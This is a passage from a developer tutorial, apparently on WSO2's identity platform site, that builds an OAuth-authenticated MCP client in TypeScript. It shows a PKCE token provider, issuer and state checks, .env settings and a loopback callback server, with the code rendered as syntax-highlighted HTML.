style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">verifier</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Missing PKCE verifier'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">verifier</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">saveDiscoveryState</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">value</span><span class="token operator">:</span><span class="token plain"> OAuthDiscoveryState</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">discovery </span><span class="token operator">=</span><span class="token plain"> value</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">discoveryState</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">discovery</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">redirectToAuthorization</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">url</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#C43300">URL</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">url</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">protocol </span><span class="token operator">!==</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'https:'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token string" style="color:#15803D">'Expected an HTTPS authorization URL'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'\nOpening your browser to sign in. If nothing opens, visit:\n'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">url</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">href</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// If no browser can be opened, the printed URL still works.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">open</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">url</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">href</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">catch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>Here's what each part does, in the order the SDK uses them.</p>
<p><strong>Who the client is</strong></p>
<ul>
<li class=""><code>redirectUrl</code>: where WSO2 Identity Platform sends the browser after sign-in. It must match the <strong>Authorized redirect URL</strong> we registered.</li>
<li class=""><code>clientMetadata</code>: describes our client to the SDK.<!-- -->
<ul>
<li class=""><code>application_type: 'native'</code> marks it as an application running on the user's machine, not a web server.</li>
<li class=""><code>scope</code> is the scope the SDK requests, read from <code>MCP_SCOPE</code> in <code>.env</code>. The SDK only falls back to this value when the server doesn't advertise a scope, and ours doesn't. Without it, the client requests no scope, WSO2 Identity Platform issues a token that isn't intended for our MCP server, and the server rejects it.</li>
</ul>
</li>
<li class=""><code>clientInformation()</code>: returns the client ID we copied from the Console. The SDK passes in the issuer of the authorization server it discovered. If that issuer isn't the one we expect, we return nothing, so our client ID is never sent to an unexpected server.</li>
</ul>
<p><strong>Discovery</strong></p>
<ul>
<li class=""><code>saveDiscoveryState()</code> and <code>discoveryState()</code>: keep what the SDK learned during discovery, such as the authorization server's metadata, so it doesn't repeat discovery after the browser callback.</li>
</ul>
<p><strong>Starting authorization</strong></p>
<ul>
<li class=""><code>state()</code>: creates a random value the SDK adds to the authorization URL. We keep a copy in <code>lastState</code> and check that the callback carries the same value, which proves the callback answers our own request.</li>
<li class=""><code>saveCodeVerifier()</code> and <code>codeVerifier()</code>: hold the PKCE verifier. The SDK creates it before authorization and sends it with the token request, proving that the client exchanging the code is the one that started the flow.</li>
<li class=""><code>redirectToAuthorization()</code>: called with the finished authorization URL. After checking that it uses HTTPS, so the user never signs in over an insecure connection, we print the URL and open it in the default browser with <code>open</code>. If no browser can be opened, for example over SSH, <code>open</code> fails quietly and the printed URL still works.</li>
</ul>
<p><strong>After authorization</strong></p>
<ul>
<li class=""><code>saveTokens()</code> and <code>tokens()</code>: store and return the access token, and a refresh token if one is issued. The SDK adds the access token to every MCP request. The <code>Tokens</code> type at the top of the file is the token response shape, taken from the SDK's own types.</li>
</ul>
<p>Everything is held in memory, in the class's private fields, so a restart starts the flow again.</p>
<p>We don't implement OAuth token exchange ourselves. The SDK handles that once the browser returns the authorization response.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="putting-the-client-together">Putting the client together<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#putting-the-client-together" class="hash-link" aria-label="Direct link to Putting the client together" title="Direct link to Putting the client together" translate="no">​</a></h2>
<p>We now have a protected MCP server, an OAuth client registration, and an <code>OAuthClientProvider</code>.</p>
<p>Let's connect them.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="update-the-client-environment">Update the client environment<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#update-the-client-environment" class="hash-link" aria-label="Direct link to Update the client environment" title="Direct link to Update the client environment" translate="no">​</a></h3>
<p>Open <code>.env</code> and add the authorization server's issuer:</p>
<div class="language-dotenv codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-dotenv codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">OAUTH_ISSUER=https://api.asgardeo.io/t/&lt;organization&gt;/oauth2/token</span><br></span></code></pre></div></div>
<p>This is the <code>issuer</code> value from the authorization server metadata we inspected earlier. It isn't the same as <code>BASE_URL</code>: it ends in <code>/oauth2/token</code>.</p>
<p>Our provider only hands the client ID to an authorization server whose issuer matches this value exactly. If they differ, the SDK stops with an authorization server mismatch error instead of sending your client ID somewhere unexpected.</p>
<p>Our <code>.env</code> now contains the server-side and client-side configuration:</p>
<div class="language-dotenv codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-dotenv codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">BASE_URL=https://api.asgardeo.io/t/&lt;organization&gt;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_RESOURCE=http://localhost:3000/mcp</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">OAUTH_ISSUER=https://api.asgardeo.io/t/&lt;organization&gt;/oauth2/token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_CLIENT_ID=&lt;your-public-client-id&gt;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_SERVER_URL=http://localhost:3000/mcp</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_SCOPE=mcp:tools</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-the-client-takes-on">What the client takes on<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#what-the-client-takes-on" class="hash-link" aria-label="Direct link to What the client takes on" title="Direct link to What the client takes on" translate="no">​</a></h3>
<p>Right now, <code>client.ts</code> sends a fixed <code>Authorization: Bearer demo-token</code> header through <code>requestInit</code>. It never authenticates. It assumes someone already has a token and attaches it to every request.</p>
<p>WSO2 Identity Platform won't accept a made-up token, so the client now has to take part in getting a real one.</p>
<p>That sounds like a lot of new work. Most of it isn't ours:</p>
<table><thead><tr><th>Responsibility</th><th>Handled by</th></tr></thead><tbody><tr><td>Discover the authorization server</td><td>MCP SDK</td></tr><tr><td>Generate the PKCE values</td><td>MCP SDK, stored through our provider</td></tr><tr><td>Build the authorization URL</td><td>MCP SDK, shown by our provider</td></tr><tr><td>Exchange the code for tokens</td><td>MCP SDK, in <code>finishAuth()</code></td></tr><tr><td>Attach the access token to requests</td><td>MCP SDK</td></tr><tr><td>Receive the browser's callback</td><td>Our callback server</td></tr><tr><td>Check the callback's <code>state</code></td><td>Our callback server</td></tr><tr><td>Reconnect after sign-in</td><td>Our client</td></tr></tbody></table>
<p>The MCP communication itself doesn't change. Connecting, listing tools, and calling them work exactly as before.</p>
<p>What we add is the part the SDK can't do from inside a library: getting the user through the browser and back. We'll split it into two files, so the OAuth plumbing stays out of the code that talks to the MCP server.</p>
<ul>
<li class=""><code>callback-server.ts</code> waits for the browser to return.</li>
<li class=""><code>client.ts</code> connects, handles the first <code>401</code>, and calls tools.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="wait-for-the-browser-callback">Wait for the browser callback<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#wait-for-the-browser-callback" class="hash-link" aria-label="Direct link to Wait for the browser callback" title="Direct link to Wait for the browser callback" translate="no">​</a></h3>
<p>After the user signs in, WSO2 Identity Platform redirects the browser to our redirect URL:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">http://127.0.0.1:3030/callback?code=...&amp;state=...</span><br></span></code></pre></div></div>
<p>Something has to be listening there. We'll start a small HTTP server from Node's built-in <code>node:http</code> module, take that one request, and shut the server down.</p>
<p>Listening on a loopback address like this is the standard approach for applications that run on the user's machine (RFC 8252). A hosted application would use an HTTPS callback endpoint instead.</p>
<p>Create <code>callback-server.ts</code> and add:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createServer</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">ServerResponse</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'node:http'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token constant" style="color:#C43300">TIMEOUT_MS</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#C43300">5</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token number" style="color:#C43300">60</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1000</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token comment" style="color:#5A6072;font-style:italic">// Wait for the authorization server to send the browser back to our redirect URL.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">waitForCallback</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  redirectUrl</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  expectedState</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token plain"> </span><span class="token operator">|</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">Promise</span><span class="token operator">&lt;</span><span class="token plain">URLSearchParams</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> redirect </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">redirectUrl</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name builtin" style="color:#1F4FFF;font-weight:600">Promise</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">resolve</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> reject</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> server </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createServer</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> url </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">url </span><span class="token operator">??</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'/'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> redirect</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">url</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">pathname </span><span class="token operator">!==</span><span class="token plain"> redirect</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">pathname</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">writeHead</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token number" style="color:#C43300">404</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">end</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> params </span><span class="token operator">=</span><span class="token plain"> url</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">searchParams</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> error </span><span class="token operator">=</span><span class="token plain"> params</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'error'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">finish</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token number" style="color:#C43300">400</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Authorization failed. You can close this tab.'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">reject</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">          </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">Authorization failed: </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">params</span><span class="token template-string interpolation punctuation" style="color:#5A6072">.</span><span class="token template-string interpolation function" style="color:#0B1633;font-weight:600">get</span><span class="token template-string interpolation punctuation" style="color:#5A6072">(</span><span class="token template-string interpolation string" style="color:#15803D">'error_description'</span><span class="token template-string interpolation punctuation" style="color:#5A6072">)</span><span class="token template-string interpolation" style="color:#15803D"> </span><span class="token template-string interpolation operator" style="color:#15803D">??</span><span class="token template-string interpolation" style="color:#15803D"> error</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">expectedState </span><span class="token operator">||</span><span class="token plain"> params</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'state'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">!==</span><span class="token plain"> expectedState</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">finish</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token number" style="color:#C43300">400</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Invalid authorization response.'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">reject</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'OAuth state mismatch'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">params</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'code'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">finish</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token number" style="color:#C43300">400</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Invalid authorization response.'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">reject</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Missing authorization code'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" 